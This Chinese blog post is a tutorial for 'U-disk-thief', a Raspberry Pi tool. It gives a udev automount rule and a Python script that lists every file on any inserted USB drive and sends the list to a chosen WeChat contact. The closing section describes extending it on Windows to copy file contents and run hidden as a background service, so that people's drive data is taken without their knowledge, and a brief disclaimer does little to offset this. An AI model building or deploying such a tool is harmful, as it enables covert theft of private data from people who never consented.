技术类文章收集大杂烩Python玩转树莓派

Python+树莓派 制作简单黑客工具U-disk-thief(

2017-06-02  本文已影响1197人  高杆python

最近一直在学习Python爬虫,可能随着研究的深入,受到爬虫技术的感染,开始对获取别人的数据产生了兴趣,Python写网页爬虫是获取别人网站上的数据,那可不可以用Python写一个程序获取别人U盘上的数据呢!研究了网上的一些程序,结合手上的这块可以带来无限欢乐的Raspberry Pi,开始制作了我的第一个简单的黑客小工具U-disk-thief(U盘小偷)。
我们要实现的效果是,当有U盘插入到树莓派的USB插口上时,被插入的U盘中文件的名称及文件路径信息将生成一个TXT格式的文件,之后传入到你制定的微信当中,程序执行的速度取决于U盘中文件个数的多少。
在这里做一个说明,写这个程序并不是要对别人的数据及隐私进行扒窃,只是为了对Python编程的学习和技术的研究。话又说回来,就我周围这些人的U盘,也没什么有价值的数据值得获取,反而是U盘里携带着各种蠕虫病毒和宏病毒,经常是过来找我帮忙给U盘杀毒或者是恢复U盘里被隐藏的文件,真是不愿意将这些U盘链接到电脑上!好了,话不多说,开始我们的制作过程吧!
1.准备材料
(1)树莓派
(2)两部可以登录微信的智能手机(分别用于登录两个互为好友的微信号)
(3)U盘一个

U盘
2.树莓派链接U盘自动识别
由于树莓派上安装的是Linux系统,无法对插入的U盘进行自动识别并挂在,在制作前需要在树莓派上进行设置,实现链接U盘自动识别,方法如下:

在树莓派上输入命令

sudo nano /etc/udev/rules.d/10-usbstorage.rules

复制粘贴这个脚本到编辑窗口

   KERNEL!="sd*", GOTO="media_by_label_auto_mount_end"  
   SUBSYSTEM!="block",GOTO="media_by_label_auto_mount_end"
   IMPORT{program}="/sbin/blkid -o udev -p %N"  
   ENV{ID_FS_TYPE}=="", GOTO="media_by_label_auto_mount_end"
   ENV{ID_FS_LABEL}!="", ENV{dir_name}="%E{ID_FS_LABEL}"  
   ENV{ID_FS_LABEL}=="", ENV{dir_name}="Untitled-%k"  
   ACTION=="add", ENV{mount_options}="relatime,sync"  
   ACTION=="add", ENV{ID_FS_TYPE}=="vfat", ENV{mount_options}="iocharset=utf8,umask=000"  
   ACTION=="add", ENV{ID_FS_TYPE}=="ntfs", ENV{mount_options}="iocharset=utf8,umask=000"  
   ACTION=="add", RUN+="/bin/mkdir -p /media/%E{dir_name}", RUN+="/bin/mount -o $env{mount_options} /dev/%k /media/%E{dir_name}"  

   ACTION=="remove", ENV{dir_name}!="", RUN+="/bin/umount -l /media/%E{dir_name}", RUN+="/bin/rmdir /media/%E{dir_name}"  
   LABEL="media_by_label_auto_mount_end"  

保存退出!
再次插入U盘设备 会自动挂载到/media目录下面的目录被识别为Untitled-sda1(路径为/media/Untitled-sda1,记住这个路径,一会我们将会用到), 实现自动识别后可以支持U盘中utf8格式的中文文件名。
3.python代码

import os
import time 
import shutil
import string
from wxpy import *
#识别到的U盘路径
USB = '/media/Untitled-sda1'
#生成TXT文件的保存路径
SAVE = '/home/pi/usbdisk-copy/'
OLD=[]
#初始化微信机器人
bot = Bot()
my_friend = bot.friends().search('高杆')[0]
#获取U盘信息的函数
def usbWalker():
    if not os.path.exists(SAVE): 
        os.mkdir(SAVE)
    filename="u-copy.txt"
    f=open(filename,"w") 
    for root, dirs, files in os.walk(USB): 
        for file in files:
            export = os.path.join(root,file)
            f.writelines(export+'\n')
    f.close
#检测U盘是否重复的函数
def getusb():
    global OLD
    NEW=os.listdir(USB)
    if (len(NEW)==len(OLD)):
        return 0
    else:
        OLD=NEW
        return 1
#执行程序检测U盘是否插入,并进行处理!
while TRUE:
    if os.path.exists(USB):
        if getusb():
            try :
                usbWalker()
                try:
                    my_friend.send_file('u-copy.txt')
                except:
                    my_friend.send('Send Error')
            except:
                pass
    else:
        pass
#设置程序执行间隔时间为10秒
    time.sleep(10)

4.代码解析
程序代码比较容易理解,首先是检测指定的系统路径下的文件夹是否存在,也就是U盘插入显示的文件夹USB=/media/Untitled-sda1,若不存在就间隔10秒再次执行检测,若发现U盘,则执行获取U盘信息的函数def usbWalker(),函数将生成一个u-copy.txt的文本文件存储在'/home/pi/usbdisk-copy/'路径下,注意这里的usbdisk-copy文件夹是我们提前建好的,并且Python程序文件也存储在这个路径下,u-copy.txt文件生成后将发送到制定的微信中(这一步的具体实现方法可以参照我之前的两篇文章《Python+树莓派 实现微信拍照、摄相机器人》《Python+树莓派+人体红外感应模块 实现微信监控》关于微信机器人的使用)。若U盘一直插在树莓派上,则一直进行着程序,这样就会反复生成u-copy.txt文件,这样很不合理,所以在执行生成txt文件函数前,先执行检测U盘是否重复的函数def getusb(),进行简单的重复比较,若发现重复则不执行def usbWalker()函数。
5.应用扩展
这个程序同样可以修改后在windows系统上执行,修改代码增加文件拷贝函数,不但可以读取到U盘的文件名称和路径,还能copy文件详细内容,或者可以指定copyU盘中那些类型的文件(.doc/.xls/.ppt/.txt......),也可以省去微信发送的环节,将copy的文件存储起来,由于树莓派的存储空间比较小,这里没有这么做,但是我在windows系统上完成了上述扩展的程序,并且用Python的打包工具pyinstaller 将程序打包成了.exe执行程序,还设置成windows的本地服务后台运行,这样就可以更加神不知鬼不觉的获取U盘数据。

以上就是这个简单的黑客小工具制作,这里纯粹是为了技术的分享,若你用这种方式做了一些bad thing,请后果自负,是不是脑袋里已经想着要copy谁的U盘啦!慎重、慎重!!!

上一篇下一篇

猜你喜欢

热点阅读